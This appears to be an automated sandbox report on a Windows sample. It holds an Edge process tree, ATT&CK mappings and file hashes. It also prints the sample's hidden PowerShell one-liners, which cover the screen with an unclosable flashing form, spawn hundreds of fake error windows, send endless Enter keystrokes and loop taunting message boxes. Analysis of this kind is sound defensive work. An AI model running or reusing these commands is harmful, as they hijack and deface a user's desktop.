    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6212,i,6126883522080694095,6753092261792685557,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=6244 /prefetch:14
    3⤵
    - Modifies registry class
    PID:2964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6208,i,17886401347780537947,9524715819652254856,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=6220 /prefetch:12
    3⤵
    PID:5480
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6564,i,2234773331669594643,1077407749154235004,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=6872 /prefetch:14
    3⤵
    PID:3372
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6564,i,2234773331669594643,1077407749154235004,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=6872 /prefetch:14
    3⤵
    PID:852
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5332,i,14675392533204749087,17068826241788557555,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:14
    3⤵
    PID:3844
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7176,i,17045013328572563973,15324331446357553950,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=7192 /prefetch:14
    3⤵
    PID:5964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3868,i,14153918617737126506,13667884507468864505,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:14
    3⤵
    PID:5900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5180,i,1957057105584599723,7568697404549589236,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=7320 /prefetch:14
    3⤵
    PID:1488
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5176,i,2066719783288676202,17466534708243622266,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=7208 /prefetch:14
    3⤵
    PID:2808
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5288,i,9039842915173074745,17813331362705755393,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5248 /prefetch:14
    3⤵
    PID:5232
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6640,i,6560444786712528887,16593828056049752023,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:14
    3⤵
    PID:4280
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4264,i,14041247849086427113,6557323049307827815,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:14
    3⤵
    PID:4136
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3424,i,11707456216240865071,14097942820367952636,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:14
    3⤵
    PID:5792
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5932,i,7691191575480211117,2887996926970145195,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:14
    3⤵
    PID:5456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5932,i,14549816692073635861,5228697400851919633,262144 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4460
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3472,i,970617150546507631,1209865386780012290,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=3004 /prefetch:14
    3⤵
    PID:1384
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6632,i,1573906412505291423,665669863869240836,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=7128 /prefetch:14
    3⤵
    PID:3404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5324,i,1015224109713246275,14559298948289673227,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=6684 /prefetch:14
    3⤵
    PID:4636
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3352,i,4121248245339253069,10625450121087837447,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=7328 /prefetch:14
    3⤵
    PID:3224
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7236,i,9684711663760547562,3793448551273943129,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=7240 /prefetch:14
    3⤵
    PID:6040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5012,i,17997912854344365166,3954640474717977144,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:14
    3⤵
    PID:264
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2988,i,3992976603275174542,13018199940418578043,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=4848 /prefetch:14
    3⤵
    PID:5132
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3472,i,7738963186431966494,10915555464067379794,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:14
    3⤵
    PID:1180
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5276,i,14041062692322653974,15411365095778158677,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=3384 /prefetch:14
    3⤵
    PID:976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2852,i,4496630599065819208,15028827265223062461,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=4780 /prefetch:14
    3⤵
    PID:1952
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3808,i,14997682981131850734,9743417454763401999,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:14
    3⤵
    PID:3368
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2988,i,14811563300685019362,5334052492205087945,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=3808 /prefetch:14
    3⤵
    PID:2196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3808,i,18400090515855128458,4977786518646330948,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5376 /prefetch:14
    3⤵
    PID:4332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5628,i,5967183054446580410,14708406202449527461,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5904 /prefetch:14
    3⤵
    PID:4660
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7152,i,13232965643801811154,13613826143723454736,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5832 /prefetch:14
    3⤵
    PID:4676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7228,i,3510587835299955875,6816093339664827630,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:14
    3⤵
    PID:756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5304,i,8149222139796472081,14761433818646128675,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:14
    3⤵
    PID:3224
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7144,i,4366812380265276787,7403174425584533944,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:14
    3⤵
    PID:1608
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6148,i,9299189036016118046,13583768377824704584,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=3700 /prefetch:14
    3⤵
    PID:3160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7144,i,10037245947278097690,15663305611501707550,524288 --field-trial-handle=2544,i,12322139158235123601,18403197357884138393,262144 --variations-seed-version --mojo-platform-channel-handle=3700 /prefetch:14
    3⤵
    PID:1312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\")]public static extern bool SetForegroundWindow(IntPtr h);public static extern bool SetWindowPos(IntPtr h,int a,int x,int y,int w,int ht,uint f);}'; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.TopMost=$true; $f.ShowInTaskbar=$false; $f.Bounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $c=New-Object System.Windows.Forms.Timer; $c.Interval=120; $r=New-Object Random; $c.Add_Tick({$f.BackColor=[System.Drawing.Color]::FromArgb($r.Next(2)*255,$r.Next(2)*255,$r.Next(2)*255)}); $c.Start(); [W]::SetForegroundWindow($f.Handle); $f.Show(); while($true){[W]::SetWindowPos($f.Handle,-1,0,0,$f.Width,$f.Height,0x0040); Start-Sleep -Milliseconds 50}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3584
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fji0fxui\fji0fxui.cmdline"
    3⤵
    PID:3888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\")]public static extern bool SetWindowPos(IntPtr h,int a,int x,int y,int w,int ht,uint f);}'; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.TopMost=$true; $f.ShowInTaskbar=$false; $f.Bounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $f.TransparencyKey=[System.Drawing.Color]::Fuchsia; $f.BackColor=[System.Drawing.Color]::Fuchsia; $f.Add_Paint({ $g=$_.Graphics; $r=New-Object Random; $hue=$r.Next(360); $sw=$f.Width; $sh=$f.Height; for($i=0;$i -lt 300;$i++){ $col=[System.Drawing.Color]::FromArgb(180,([int](255*([math]::Abs([math]::Sin(($hue+$i)60)*3.14159/180)))56,([int](255*([math]::Sin((($hue+$i)*2)60)*3.14159/180)))56,([int](255*([math]::Cos((($hue+$i)*3)60)*3.14159/180)))56); $pen=New-Object System.Drawing.Pen($col,2); $g.DrawLine($pen,$r.Next($sw),$r.Next($sh),$r.Next($sw),$r.Next($sh)) }}); $t=New-Object System.Windows.Forms.Timer; $t.Interval=100; $t.Add_Tick({$f.Invalidate()}); $t.Start(); $f.Show(); $f.Activate(); while($true){[W]::SetWindowPos($f.Handle,-1,0,0,$f.Width,$f.Height,0x0040); Start-Sleep -Milliseconds 60}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $r=New-Object Random; $sw=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $sh=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; for($i=0;$i -lt 300;$i++){ $f=New-Object System.Windows.Forms.Form; $f.StartPosition='Manual'; $f.TopMost=$true; $f.Text='ERROR 404'; $f.Size=New-Object System.Drawing.Size(320,120); $f.Location=New-Object System.Drawing.Point($r.Next($sw-320),$r.Next($sh-120)); $l=New-Object System.Windows.Forms.Label; $l.Text='Error 404: PAGE NOT FOUND'; $l.Dock='Fill'; $l.BackColor=[System.Drawing.Color]::Black; $l.ForeColor=[System.Drawing.Color]::Red; $l.TextAlign='MiddleCenter'; $f.Controls.Add($l); $f.Show(); Start-Sleep -Milliseconds 120 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; while($true){[System.Windows.Forms.SendKeys]::SendWait('{ENTER}'); Start-Sleep -Milliseconds 150}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" start "" /min powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework; $r=New-Object Random; $msgs=@('Error 404: PAGE NOT FOUND','Taylor has taken over','SYSTEM FAILURE','Access Denied','BAD BLOOD','You cannot escape','404 404 404'); while($true){[System.Windows.MessageBox]::Show($msgs[$r.Next($msgs.Count)],'ERROR 404','OK','Error')"
  2⤵
  PID:776

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4192

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5640

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:3040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 4123fa2cc2e73053b7602d1d53a57b01f3a6cd8872729fcd7ed66886082b1b99
MD5 5100dc5469c5151f9ac793573116a7fa
SHA1 a8ffca7210c348bef0d710a66e334809b7f58988
SHA512 ead3d81382dc13f1d89e928af9189e5eec6cf3fabfb91ed18d73f1fe38b5e9f76e77fae594633baf6da19747d70fbb17eb97a8a36df60510a930f6006986acfc
TLSH
T1F4D02B75E7EC8412C0C2207C015911A231A37E00D70802C00A05801C18001C20322F09
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a201096456be1e380b7687844e70aa8e2d987a06740acf66db0d56e000a3b50d
MD5 36c9bdf74494657a1636bbc59af48eb0
SHA1 aea8177ffde7e43fa1b4cc5ce6c7cf68c2431306
SHA512 2cf6da34ccb1c58e4f6d50681952d27ffc828c4ede6f38ca0a5e429a4f520e426913b04469e4272eed54102a541263bbb54c2628f542fbe357a4afac921bb49e
TLSH
T143D02B79E7DC8512C0C2207C015811A231B37E00EB0802C00905400C18001C20323F0D
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 f9572a3c08e090ebdf23c682275937bd9bf62b7beeda8253543bf131937ad043
MD5 eb30fa634028b6bb63be40d4be85098e
SHA1 f4ac60e2a686d7fc82f67518b65cecad7369970c
SHA512 0026bc2df7c08c39d52df3a7d04ab911593166950d01a8e263d6a6095a6f2c66fed4d90a515d3c40bde41221ca1fecb4d3a26962a0015a32212825f3024a844e
TLSH
T15EE0268C09C8C22FA310E6C741BC8B4CC290370F93CDAB8A1704C8C87102864B7DABDA
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 3f5c46f19b84db50b9df7d3ac1983c41536ea0c7dc81e18cc46efcfbf2a38c18
MD5 bd98bf36401975851192e3fc09846c1f
SHA1 31c9d595e5208634352320de62e6ac14439b6881
SHA512 5d622faac3c073fff1445fd81c3438df74288ad39ba4e815ff4fb60122c871c275df14cf5a2daef43b29c34036bf05dfdfe2a119fd0e8e54c1cd4b9fb6d98ffb
TLSH
T175E026E909CAC22FA318E4C741698B4CD281370EE3CDBF4E7704C8897205450BBD2AD1
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 5087abb93bab107bcad3d2318619045dbc2582f8f9b2ff2383a01d4ef187480c
MD5 f3bccdff5b7069a84281e732f0d904d1
SHA1 de2e84dc7343db283ae470ff9a481dcd1034a9c1
SHA512 a4687e1ddf1e25be2690eadf870f2d3238986b79cc0f5be31a152de28f1f994aa801dc8267f712a8728725c6e3640a1b342a61a8c95491770245f301dbd4717c
TLSH
T1E8E0208808C4C21FF314B4C7C7BB574C81C03B0E93CCAB451B0484CC740195466D95D5
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 daa80162e150b2c180d9d294603a66e9738620df2d7a888f4b67a5bf4af1dd4f
MD5 76e198f2fa02e734a394c9b023481c85
SHA1 17d0cbbff2ba96f8d3b0f212a4479876a78edcea
SHA512 a987a5883bd4617002b2ad6ee4621de4e0a2ae6b2017925517653903100e015b05c49e8f6c3f2600944adbd9f991262be07942ea0489fa41f3fcd3f9ca8a5c07
TLSH
T165E026ED1CC8C22FA32BB88B41A84B0C8280376E93CCEB4A9704898C7001390B3C26E1
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 2b138387d2dfe84840403d7a21d78cc59fbd516c8fbf2fd60157e300e8ac29be
MD5 624700b9f6a6d08abef8333285f00571
SHA1 3cffb5ae6b1e73975a35fe7ab0bcd143784bf78e
SHA512 7f64642fa24589b2fef97c62346ac65da71a1937f5440d61bd2d3e7abf1ff34f6632e3842f64aea92a3c88a3030c20cf7b1c2a4deafd102a97d550f3652e870c
TLSH
T1FD511C18C28CC82AEF28317640E52A473134AE3ECDCB9E4A2358C87A27237938D0042C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a3886.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a3886.TMP
Size 2KB
SHA256 06198d8e4353789e115998bd8089d32a0bf13ba6d4d34319fd204b7d48297cc0
MD5 d9672836b794a2955f2bbb784e8a59c3
SHA1 932611827d593e3a4ff5a657be48c5f43ee2acfe
